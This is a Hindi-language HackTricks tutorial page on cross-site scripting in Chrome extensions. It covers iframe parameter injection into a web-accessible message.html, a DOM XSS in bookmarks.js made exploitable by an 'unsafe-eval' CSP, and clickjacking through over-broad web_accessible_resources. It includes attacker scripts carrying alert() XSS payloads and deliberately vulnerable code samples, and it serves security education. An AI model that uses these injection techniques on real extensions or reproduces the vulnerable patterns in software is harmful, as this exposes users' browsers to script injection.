11 KiB
BrowExt - XSS उदाहरण
AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें, तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- The PEASS Family की खोज करें, हमारा एक्सक्लूसिव NFTs संग्रह
- 💬 Discord group में शामिल हों या telegram group में या Twitter 🐦 पर मुझे फॉलो करें @carlospolopm.
- HackTricks के github repos और HackTricks Cloud में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें.
Iframe पर XSS
Content script एक Iframe बनाती है जो एक URL को iFrame स्रोत के पैरामीटर्स में इंगित करती है:
chrome.storage.local.get("message", result =>
{
frame.src = chrome.runtime.getURL("message.html") +
"?message=" + encodeURIComponent(result.message) +
"&url=https://example.net/explanation";
});
एक उजागर html पृष्ठ: message.html
, जो ब्राउज़र से सुलभ है, इसमें ऐसा कोड होता है:
$(() =>
{
let params = new URLSearchParams(location.search);
$(document.body).append(params.get("message") + " <button>Explain</button>");
$("body > button").click(() =>
{
chrome.tabs.create({ url: params.get("url") });
});
});
दुर्भावनापूर्ण पृष्ठ निम्नलिखित जैसी स्क्रिप्ट को निष्पादित करता है ताकि संदेश को XSS payload के लिए बदला जा सके:
setTimeout(() =>
{
let frame = document.querySelector("iframe:last-child");
let src = frame.src;
// Remove existing query parameters
src = src.replace(/\?.*/, "");
// Add malicious query parameters
src += "?message=" + encodeURIComponent("<script>alert('XSS')</script>");
// Load into frame
frame.src = src;
}, 1000);
एक उदार Content Security Policy जैसे कि
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
जेएस कोड के निष्पादन की अनुमति देगा।
XSS को इच्छानुसार ट्रिगर करने का एक और तरीका है चलाना:
let frame = document.createElement("iframe");
frame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?message="
+ encodeURIComponent("<script>alert('XSS')</script>");
document.body.appendChild(frame);
DOM-based XSS + ClickJacking
पहली कमजोरी DOM-based Cross-site Scripting (XSS) कमजोरी है /html/bookmarks.html
में, निम्नलिखित संवेदनशील JavaScript है जो शामिल है bookmarks.js
में:
$('#btAdd').click(function() {
var btname = $('#txtName').val();
if ($('.custom-button .name').filter(function() {
return $(this).text() === btname;
}).length) return false;
var span = $('<span class="custom-button">');
span.html('<span class="name">' + btname + '</span>');
span.append('<a href="javascript:void(0)" title="remove">x</a>');
span.attr('title', btname);
span.data('id', (new Date().getTime()));
$('div.custom-buttons .existing').append(span);
save_options();
});
उपरोक्त JavaScript txtName
टेक्स्ट बॉक्स के मान को लेता है और HTML बनाने के लिए स्ट्रिंग संयोजन का उपयोग करता है जिसे jQuery के "append()" फ़ंक्शन के माध्यम से DOM में जोड़ा जाता है।
सामान्यतः, Chrome एक्सटेंशन Content Security Policy (CSP) को इस संवेदनशीलता का शोषण होने से रोकना चाहिए। हालांकि, 'unsafe-eval' के माध्यम से इस नीति को ढीला करने और jQuery के DOM APIs के उपयोग के कारण, इसे अभी भी शोषण किया जा सकता था। यह इसलिए है क्योंकि jQuery के DOM APIs में से अधिकांश “globalEval()” का उपयोग करते हैं, जो स्वचालित रूप से स्क्रिप्ट्स को DOM में जोड़ने पर “eval()” को पास कर देता है।
यद्यपि यह एक गंभीर संवेदनशीलता है, अपने आप में इसका शोषण काफी सीमित है क्योंकि इसे शोषण करने के लिए उपयोगकर्ता-संपर्क की आवश्यकता होती है। पीड़ित को पेज खोलना होगा, फील्ड में Cross-site Scripting (XSS) पेलोड पेस्ट करना होगा, और इसे शोषण करने के लिए "Add" बटन पर क्लिक करना होगा।
इस संवेदनशीलता को बेहतर ढंग से हथियार बनाने के लिए हम एक अलग संवेदनशीलता (clickjacking) का उपयोग करते हैं ताकि हमले को मजबूत किया जा सके।
निम्नलिखित Chrome एक्सटेंशन के मैनिफेस्ट से एक अंश है:
...trimmed for brevity...
"web_accessible_resources": [
"_locales/*",
"bundle/*",
"dist/*",
"assets/*",
"font/*",
"html/bookmarks.html",
"css/*.css",
"js/*.js",
"js/jquery/*.js",
"js/lang/*"
],
...trimmed for brevity...
उपरोक्त खंड दर्शाता है कि एक्सटेंशन अपनी web_accessible_resources
नीति के साथ व्यापक जाल बिछाता है।
/html/bookmarks.html
पृष्ठ भी framed हो सकता है और इस प्रकार clickjacking के माध्यम से exploited किया जा सकता है। हम इसका दुरुपयोग करते हैं ताकि हम इस पृष्ठ को हमारे वेब पेज में iframe कर सकें, और DOM तत्वों के साथ फ्रेम को ओवरले करके लेआउट को रीड्रेस करें। इससे यह होता है कि पीड़ित को यह पता नहीं चलता कि वे वास्तव में नीचे के एक्सटेंशन के साथ इंटरैक्ट कर रहे हैं। निम्नलिखित एनीमेशन इस प्रभाव को दर्शाता है (एनीमेशन को मूल पोस्ट लेखन में देखें)।
संदर्भ
- https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/
- https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/
htARTE (HackTricks AWS Red Team Expert) के साथ AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- The PEASS Family की खोज करें, हमारा एक्सक्लूसिव NFTs संग्रह
- 💬 Discord group में शामिल हों या telegram group में या Twitter पर मुझे 🐦 @carlospolopm** का अनुसरण करें**।
- HackTricks के github repos और HackTricks Cloud में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।